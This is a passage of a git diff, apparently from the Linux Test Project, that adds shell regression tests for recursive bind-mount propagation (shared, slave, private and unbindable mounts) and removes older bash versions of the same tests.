+	EXPECT_PASS mount --rbind share1 parent1
+
+	fs_bind_makedir runbindable parent1/child1
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK1" parent1/child1
+	EXPECT_PASS mount --rbind parent1 parent2
+
+	fs_bind_check -n parent1/child1 share1/child1
+	fs_bind_check -n parent1/child1 parent2/child1
+
+
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount parent2
+	EXPECT_PASS umount parent2
+	EXPECT_PASS umount parent1
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount parent1
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind33.sh b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind33.sh
new file mode 100755
index 0000000..13704ce
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind33.sh
@@ -0,0 +1,59 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "rbind: multi-level slave p-nodes"
+
+	fs_bind_makedir rshared dir1
+
+	mkdir dir1/x dir2 dir3 dir4
+
+	EXPECT_PASS mount --rbind dir1 dir2
+	EXPECT_PASS mount --make-rslave dir2
+	EXPECT_PASS mount --make-shared dir2
+
+	EXPECT_PASS mount --rbind dir2 dir3
+	EXPECT_PASS mount --make-rslave dir3
+	EXPECT_PASS mount --make-shared dir3
+
+	EXPECT_PASS mount --rbind dir3 dir4
+	EXPECT_PASS mount --make-rslave dir4
+
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK1" dir1/x
+
+	fs_bind_check dir1/x dir2/x dir3/x dir4/x
+
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK2" dir2/x/a
+	fs_bind_check -n dir1/x/a dir2/x/a
+	fs_bind_check dir2/x/a dir3/x/a dir4/x/a
+
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK3" dir3/x/b
+	fs_bind_check -n dir1/x/b dir3/x/b
+	fs_bind_check -n dir2/x/b dir3/x/b
+	fs_bind_check dir3/x/b dir4/x/b
+
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK4" dir4/x/c
+	fs_bind_check -n dir1/x/c dir4/x/c
+	fs_bind_check -n dir2/x/c dir4/x/c
+	fs_bind_check -n dir3/x/c dir4/x/c
+
+
+	EXPECT_PASS umount dir2/x/a
+	EXPECT_PASS umount dir3/x/b
+	EXPECT_PASS umount dir4/x/c
+	EXPECT_PASS umount dir1/x
+	EXPECT_PASS umount dir1
+	EXPECT_PASS umount dir2
+	EXPECT_PASS umount dir3
+	EXPECT_PASS umount dir4
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind34.sh b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind34.sh
new file mode 100755
index 0000000..1d6b401
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind34.sh
@@ -0,0 +1,43 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "rbind: rbind within same tree - root to child, child is shared "
+
+	fs_bind_makedir rshared parent
+	fs_bind_makedir rshared parent/child1
+	fs_bind_makedir rshared parent/child2
+
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK3" parent/child1
+
+	EXPECT_PASS mount --rbind parent parent/child2/
+	fs_bind_check parent parent/child2/
+	fs_bind_check parent/child1 parent/child2/child1
+
+	EXPECT_PASS umount parent/child2/child1
+	fs_bind_check parent/child1 parent/child2/child1
+
+	EXPECT_PASS umount parent/child1
+	fs_bind_check parent/child1 parent/child2/child1
+
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK4" parent/child2/child1
+	fs_bind_check parent/child1 parent/child2/child1
+
+	EXPECT_PASS umount parent/child1
+	fs_bind_check parent/child1 parent/child2/child1
+
+
+	EXPECT_PASS umount parent/child2/child2
+	EXPECT_PASS umount parent/child2
+	EXPECT_PASS umount parent
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind35.sh b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind35.sh
new file mode 100755
index 0000000..758e631
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind35.sh
@@ -0,0 +1,46 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "rbind: rbind within same tree - root to child, child is private "
+
+	fs_bind_makedir rshared parent
+	fs_bind_makedir private parent/child1
+	fs_bind_makedir rshared parent/child2
+
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK3" parent/child1
+
+	EXPECT_PASS mount --rbind parent parent/child2/
+	fs_bind_check parent parent/child2/
+	fs_bind_check parent/child1 parent/child2/child1
+
+	EXPECT_PASS umount parent/child2/child1
+	#added -n
+	fs_bind_check -n parent/child1 parent/child2/child1
+
+	EXPECT_PASS umount parent/child1
+	fs_bind_check parent/child1 parent/child2/child1
+
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK4" parent/child2/child1
+	fs_bind_check -n parent/child1 parent/child2/child1
+
+	EXPECT_PASS umount parent/child2/child1
+	fs_bind_check parent/child1 parent/child2/child1
+
+
+	EXPECT_PASS umount parent/child2/child2
+	EXPECT_PASS umount parent/child2/child1
+	EXPECT_PASS umount parent/child2
+	EXPECT_PASS umount parent/child2
+	EXPECT_PASS umount parent
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind36.sh b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind36.sh
new file mode 100755
index 0000000..a1af464
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind36.sh
@@ -0,0 +1,41 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "rbind: rbind within same tree - root to child, child is uncloneable"
+
+	fs_bind_makedir rshared parent
+	fs_bind_makedir runbindable parent/child1
+	fs_bind_makedir rshared parent/child2
+
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK3" parent/child1
+
+	EXPECT_PASS mount --rbind parent parent/child2/
+	fs_bind_check parent parent/child2/
+	fs_bind_check -n  parent/child1 parent/child2/child1
+
+	EXPECT_PASS umount parent/child1
+	fs_bind_check parent/child1 parent/child2/child1
+
+	EXPECT_PASS mount --rbind "$FS_BIND_DISK4" parent/child2/child1
+	fs_bind_check -n  parent/child1 parent/child2/child1
+
+	EXPECT_PASS umount parent/child2/child1
+	fs_bind_check parent/child1 parent/child2/child1
+
+
+	EXPECT_PASS umount parent/child2/child2
+	EXPECT_PASS umount parent/child1
+	EXPECT_PASS umount parent/child2
+	EXPECT_PASS umount parent
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind37.sh b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind37.sh
new file mode 100755
index 0000000..c0054de
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind37.sh
@@ -0,0 +1,55 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "rbind: private to private - with shared children"
+
+	mkdir parent1 parent2
+	fs_bind_makedir rshared share1
+	fs_bind_makedir rshared share2
+	fs_bind_makedir rshared parent1/child1
+	fs_bind_makedir rshared parent2/child2
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK1" parent1/child1
+	EXPECT_PASS mount --rbind parent1/child1 share1
+
+	EXPECT_PASS mount --rbind parent2/child2 share2
+
+	EXPECT_PASS mount --rbind parent1 parent2
+
+	fs_bind_check parent1 parent2
+	fs_bind_check parent1/child1 parent2/child1
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK2" parent2/child1/a
+	fs_bind_check parent1/child1/a parent2/child1/a share1//a
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK3" parent1/child1/b
+	fs_bind_check parent1/child1/b parent2/child1/b share1/b
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK4" share1/c
+	fs_bind_check parent1/child1/c parent2/child1/c share1/c
+
+
+	EXPECT_PASS umount parent1/child1/a
+	EXPECT_PASS umount parent1/child1/b
+	EXPECT_PASS umount share1/c
+	EXPECT_PASS umount parent2/child1
+	EXPECT_PASS umount parent2/child1
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount parent2
+	EXPECT_PASS umount share2
+	EXPECT_PASS umount share2
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount parent2/child2
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind38.sh b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind38.sh
new file mode 100755
index 0000000..12ddaff
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind38.sh
@@ -0,0 +1,54 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "rbind: private to private - with slave children"
+
+	mkdir parent1 parent2 parent1/child1 parent2/child2
+	fs_bind_makedir rshared share1
+	fs_bind_makedir rshared share2
+	EXPECT_PASS mount --rbind share1 parent1/child1
+	EXPECT_PASS mount --rbind share2 parent2/child2
+	EXPECT_PASS mount --make-rslave parent1/child1
+	EXPECT_PASS mount --make-rslave parent2/child2
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK1" share1
+
+	EXPECT_PASS mount --rbind parent1 parent2
+
+	fs_bind_check parent1 parent2
+	fs_bind_check parent1/child1 parent2/child1
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK2" share1/a
+	fs_bind_check parent1/child1/a parent2/child1/a share1/a
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK3" parent1/child1/b
+	fs_bind_check -n parent1/child1/b share1/b
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK4" parent2/child1/c
+	fs_bind_check -n parent2/child1/c share1/c
+
+
+	EXPECT_PASS umount share1/a
+	EXPECT_PASS umount parent1/child1/b
+	EXPECT_PASS umount parent2/child1/c
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount parent2/child1
+	EXPECT_PASS umount parent2/child1
+	EXPECT_PASS umount parent2
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount share1
+	EXPECT_PASS umount share2
+	EXPECT_PASS umount parent2/child2
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind39.sh b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind39.sh
new file mode 100755
index 0000000..be98d17
--- /dev/null
+++ b/testcases/kernel/fs/fs_bind/rbind/fs_bind_rbind39.sh
@@ -0,0 +1,31 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2005
+# Copyright (c) 2021 Joerg Vehlow <joerg.vehlow@aox-tech.de>
+# Author: Avantika Mathur (mathurav@us.ibm.com)
+
+FS_BIND_TESTFUNC=test
+
+
+test()
+{
+	tst_res TINFO "rbind: private to private - with unclonable children"
+
+	mkdir parent1 parent2
+	fs_bind_makedir runbindable parent1/child1
+
+	EXPECT_PASS mount --bind "$FS_BIND_DISK1" parent1/child1
+
+	EXPECT_PASS mount --rbind parent1 parent2
+
+	fs_bind_check parent1 parent2
+	fs_bind_check -n parent1/child1 parent2/child1
+
+
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount parent1/child1
+	EXPECT_PASS umount parent2
+}
+
+. fs_bind_lib.sh
+tst_run
diff --git a/testcases/kernel/fs/fs_bind/rbind/test01 b/testcases/kernel/fs/fs_bind/rbind/test01
deleted file mode 100755
index cb574ad..0000000
--- a/testcases/kernel/fs/fs_bind/rbind/test01
+++ /dev/null
@@ -1,98 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-SETS_DEFAULTS="${TCID=test01} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST01***************"
-tst_resm TINFO "rbind: shared child to shared parent."
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of rbind/test01 failed" && tst_exit)
-export result=0
-
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-
-
-	"${FS_BIND_ROOT}/bin/makedir" share parent1
-	"${FS_BIND_ROOT}/bin/makedir" share parent2
-	"${FS_BIND_ROOT}/bin/makedir" share share2
-	"${FS_BIND_ROOT}/bin/makedir" share parent1/child1
-
-	mount --rbind "$disk1" parent1/child1
-
-	mkdir parent2/child2
-
-	mount --rbind parent2 share2
-	mount --rbind parent1/child1 parent2/child2
-
-	check parent2 share2
-	check parent1/child1 parent2/child2
-
-	mount --rbind "$disk2" parent1/child1/a
-
-	check parent1/child1/a parent2/child2/a share2/child2/a
-
-	mount --rbind "$disk3" parent2/child2/b
-
-	check parent1/child1/b parent2/child2/b share2/child2/b
-
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "rbind/test01: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "rbind/test01: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount parent1/child1/a
-	umount parent1/child1/b
-	umount parent2/child2
-	umount parent1/child1
-	umount parent1/child1
-	umount share2
-	umount share2
-	umount parent2
-	umount parent1
-
-	rm -rf parent* share*
-	cleanup
-} >& /dev/null
-if [ $result -ne 0 ]
-then
-	tst_resm TFAIL "rbind/test01: FAILED: rbind: shared child to shared parent."
-	exit 1
-else
-	tst_resm TPASS "rbind/test01: PASSED"
-	exit 0
-fi
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/rbind/test02 b/testcases/kernel/fs/fs_bind/rbind/test02
deleted file mode 100755
index f68f691..0000000
--- a/testcases/kernel/fs/fs_bind/rbind/test02
+++ /dev/null
@@ -1,97 +0,0 @@
-#!/bin/bash
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-SETS_DEFAULTS="${TCID=test02} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST02***************"
-tst_resm TINFO "rbind: shared child to private parent."
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of rbind/test02 failed" && tst_exit)
-export result=0
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-	"${FS_BIND_ROOT}/bin/makedir" share parent1
-	"${FS_BIND_ROOT}/bin/makedir" priv parent2
-	"${FS_BIND_ROOT}/bin/makedir" share share1
-	"${FS_BIND_ROOT}/bin/makedir" share parent1/child1
-
-	mount --rbind "$disk1" parent1/child1
-
-	mkdir parent2/child2
-
-	mount --rbind parent1/child1 share1
-	mount --rbind parent1/child1 parent2/child2
-
-	check parent1/child1 share1
-	check parent1/child1 parent2/child2
-
-	mount --rbind "$disk2" parent1/child1/a
-
-	check parent1/child1/a parent2/child2/a share1/a
-
-	mount --rbind "$disk3" parent2/child2/b
-
-	check parent1/child1/b parent2/child2/b share1/b
-
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "rbind/test02: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "rbind/test02: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount parent2/child2/b
-	umount parent1/child1/a
-	umount parent2/child2
-	umount share1
-	umount parent1/child1
-	umount parent1/child1
-	umount share1
-	umount parent2
-	umount parent1
-
-	rm -rf parent* share*
-	cleanup
-} >& /dev/null
-
-if [ $result -ne 0 ]
-then
-	tst_resm TFAIL "rbind/test02: FAILED: rbind: shared child to private parent."
-	exit 1
-else
-	tst_resm TPASS "rbind/test02: PASSED"
-	exit 0
-fi
-
-
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/rbind/test03 b/testcases/kernel/fs/fs_bind/rbind/test03
deleted file mode 100755
index 6838ffc..0000000
--- a/testcases/kernel/fs/fs_bind/rbind/test03
+++ /dev/null
@@ -1,118 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-SETS_DEFAULTS="${TCID=test03} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST03***************"
-tst_resm TINFO "rbind: shared child to slave parent."
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of rbind/test03 failed" && tst_exit)
-export result=0
-
-
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-
-
-
-	"${FS_BIND_ROOT}/bin/makedir" share parent1
-	"${FS_BIND_ROOT}/bin/makedir" share share1
-	"${FS_BIND_ROOT}/bin/makedir" share share2
-	"${FS_BIND_ROOT}/bin/makedir" share parent1/child1
-	mkdir parent2
-
-	mount --rbind parent1/child1 share1
-	mount --rbind "$disk1" parent1/child1
-	mount --rbind "$disk2" share2
-	mount --rbind share2 parent2
-	"${FS_BIND_ROOT}/bin/makedir" slave parent2
-
-	"${FS_BIND_ROOT}/bin/check_prop" share2 parent2
-
-
-	mkdir parent2/child2
-	ls share2
-
-	mount --rbind parent1/child1 share1
-	mount --rbind parent1/child1 parent2/child2
-
-	"${FS_BIND_ROOT}/bin/check_prop" parent1/child1 share1 parent2/child2
-
-	mount --rbind "$disk3" parent1/child1/a
-
-	"${FS_BIND_ROOT}/bin/check_prop" parent1/child1/a parent2/child2/a share1/a
-	"${FS_BIND_ROOT}/bin/check_prop" -n parent2/child2 share2/child2
-
-	mount --rbind "$disk3" parent2/child2/b
-
-	"${FS_BIND_ROOT}/bin/check_prop" -n parent2/child2 share2/child2
-	"${FS_BIND_ROOT}/bin/check_prop" parent1/child1/b parent2/child2/b share1/b
-
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "rbind/test03: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "rbind/test03: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount parent1/child1/a
-	umount parent1/child1/b
-	umount parent2/child2
-	umount parent1/child1
-	umount parent1/child1
-	umount parent1/child1
-	umount parent1/child1
-	umount parent1/child1
-	umount share2
-	umount share2
-	umount share2
-	umount parent1
-	umount parent2
-
-	rm -rf parent* share*
-	cleanup
-} >& /dev/null
-
-if [ $result -ne 0 ]
-then
-        tst_resm TFAIL "rbind/test03: FAILED: rbind: shared child to slave parent."
-        exit 1
-else
-        tst_resm TPASS "rbind/test03: PASSED"
-        exit 0
-fi
-
-
-
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/rbind/test04 b/testcases/kernel/fs/fs_bind/rbind/test04
deleted file mode 100755
index 5cdd920..0000000
--- a/testcases/kernel/fs/fs_bind/rbind/test04
+++ /dev/null
@@ -1,104 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-SETS_DEFAULTS="${TCID=test04} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-
-tst_resm TINFO "***************TEST04***************"
-tst_resm TINFO "rbind: shared child to unclonable parent."
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of rbind/test04 failed" && tst_exit)
-export result=0
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-
-
-
-
-	"${FS_BIND_ROOT}/bin/makedir" share parent1
-	"${FS_BIND_ROOT}/bin/makedir" unclone parent2
-	"${FS_BIND_ROOT}/bin/makedir" share share1
-	"${FS_BIND_ROOT}/bin/makedir" share parent1/child1
-
-	mount --rbind "$disk1" parent1/child1
-
-	mkdir parent2/child2
-
-	mount --rbind parent1/child1 share1
-	mount --rbind parent1/child1 parent2/child2
-
-	check parent1/child1 share1 parent2/child2
-
-	mount --rbind "$disk2" parent1/child1/a
-
-	check parent1/child1/a parent2/child2/a share1/a
-
-	mount --rbind "$disk3" parent2/child2/b
-
-	check parent1/child1/b parent2/child2/b share1/b
-
-	mount --rbind "$disk4" share1/c
-
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "rbind/test04: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "rbind/test04: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount parent1/child1/a
-	umount parent1/child1/b
-	umount parent1/child1/c
-	umount parent2/child2
-	umount parent1/child1
-	umount parent1/child1
-	umount parent1/child1
-	umount share1
-	umount parent2
-	umount parent1
-
-
-	rm -rf parent* share*
-	cleanup
-} >& /dev/null
-if [ $result -ne 0 ]
-then
-        tst_resm TFAIL "rbind/test04: FAILED: rbind: shared child to unclonable parent."
-        exit 1
-else
-        tst_resm TPASS "rbind/test04: PASSED"
-        exit 0
-fi
-
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/rbind/test05 b/testcases/kernel/fs/fs_bind/rbind/test05
deleted file mode 100755
index a23cbc1..0000000
--- a/testcases/kernel/fs/fs_bind/rbind/test05
+++ /dev/null
@@ -1,113 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-SETS_DEFAULTS="${TCID=test05} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST05***************"
-tst_resm TINFO "rbind: private child to shared parent."
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of rbind/test05 failed" && tst_exit)
-export result=0
-
-
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-
-	"${FS_BIND_ROOT}/bin/makedir" share parent1
-	"${FS_BIND_ROOT}/bin/makedir" share parent2
-	"${FS_BIND_ROOT}/bin/makedir" share share1
-	"${FS_BIND_ROOT}/bin/makedir" share share2
-	"${FS_BIND_ROOT}/bin/makedir" priv parent1/child1
-
-	mount --rbind parent1 share1
-	mount --rbind "$disk1" parent1/child1
-	mount --rbind parent2 share2
-
-	check -n  parent1/child1 share1/child1
-
-	mkdir parent2/child2
-
-	mount --rbind parent1/child1 parent2/child2
-
-	check parent1/child1 parent2/child2 share2/child2
-
-	mount --rbind "$disk2" parent1/child1/a
-
-	check -n  parent1/child1/a parent2/child2/a
-
-	mount --rbind "$disk3" parent2/child2/b
-
-	check -n parent1/child1/b parent2/child2/b
-	check parent2/child2/c share2/child2/c
-
-	mount --rbind "$disk4" share2/child2/c
-
-	check -n parent1/child1/c parent2/child2/c
-	check parent2/child2/c share2/child2/c
-
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "rbind/test05: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "rbind/test05: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount parent1/child1/a
-	umount parent2/child2/b
-	umount share2/child2/c
-	umount parent2/child2
-	umount parent1/child1
-	umount parent1/child1
-	umount share1
-	umount share1
-	umount share2
-	umount share2
